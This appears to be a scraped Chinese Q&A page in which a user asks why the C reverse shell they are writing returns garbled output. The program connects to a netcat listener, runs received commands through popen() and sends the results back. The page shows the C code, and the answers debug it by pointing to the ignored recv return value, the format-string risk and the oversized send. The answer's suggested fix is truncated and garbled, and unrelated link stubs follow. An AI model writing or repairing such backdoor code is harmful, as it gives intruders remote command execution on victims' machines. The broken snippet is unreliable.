如何清理C程序的popen输出?

问题描述

我正在重写一个用python创建的简单的反向shell程序,现在是C。

该程序应该尝试连接到主机(netcat在指定端口上侦听),然后从nc获取输出,通过tcp套接字发送,并使用popen()进行系统调用,然后发送回通过与nc显示的插座连接的终端输出。

当我尝试发送命令时,程序会返回我所请求的内容,但也会有些混乱。

例如: /Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?

(终端中nc的输出,这是一个“ pwd”命令)

我似乎还存在无法清除缓冲区的问题?当我使用'say'命令时(say [sentence]),MacOS应该使用语音语句。发生这种情况,但是只有'say'之后的参数的前2个字母(句子的前2个字符),然后说一个更早的字符串。 (“已成功连接!”)

例如:(命令:“ say hello”)

heSuccessfully connected!

我试图在不同位置打开FILE流,并且

代码(在套接字设置和连接之后):

    const char conMsg[25] = "Successfully connected!\n";

    send(netSock,conMsg,sizeof(conMsg),0);
    printf("Sent message...\n");
    
    // variable setup
    char command[] = "clear";
    char buffer[256];
    const char INPUTFIELD[3] = "\n> ";
    
    // requests loop
    while (1) {
        send(netSock,INPUTFIELD,sizeof(INPUTFIELD),0);
        
        // recv command
        recv(netSock,&command,sizeof(command),0);
        printf("recived command...\n");
        printf(command);
        
        // exit check
        if ( strncmp(command,":exit",5) == 0) {
                close(netSock);
                exit(0);
        } else {
            
            // stream init
            FILE *in;

            in = popen(command,"r");
        
            // popen output,send to host
            while ( fgets(buffer,sizeof(buffer),in) != NULL) {
                send(netSock,buffer,0);
            }
            pclose(in);
        }
    }
    
    return 0;

我如何使用该程序:

  • nc -l [指定的端口](MAC或Linux终端命令(也可能是Windows))
  • 启动二进制文件(不要紧,因为我打算让它尝试连接,但是到目前为止,它的功能性尚不足)

解决方法

    // recv command
    recv(netSock,&command,sizeof(command),0);
    printf("recived command...\n");
    printf(command);

您忽略了recv的返回值,因此您的其他代码都不知道您接收了多少字节的数据。另外,您将command传递给printf。这有两个问题:

  1. 如果您没有收到零字节怎么办?您可以直接在缓冲区的末尾运行。
  2. 如果接收到的数据包含%s专用的printf或其他字符串怎么办?
,

我认为您的主要问题在这里:

        // popen output,send to host
        while ( fgets(buffer,sizeof(buffer),in) != NULL) {
            send(netSock,buffer,0);
        }

fgets将仅读取到行尾(包括行尾字符),然后终止为null。除非一行超出缓冲区大小,否则它不会完全填满缓冲区。您的send调用将发送整个缓冲区,无论包括fgets读取的所有未初始化的乱码。这可能会更好:

        // popen output,strlen(buffer),0);
        }

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...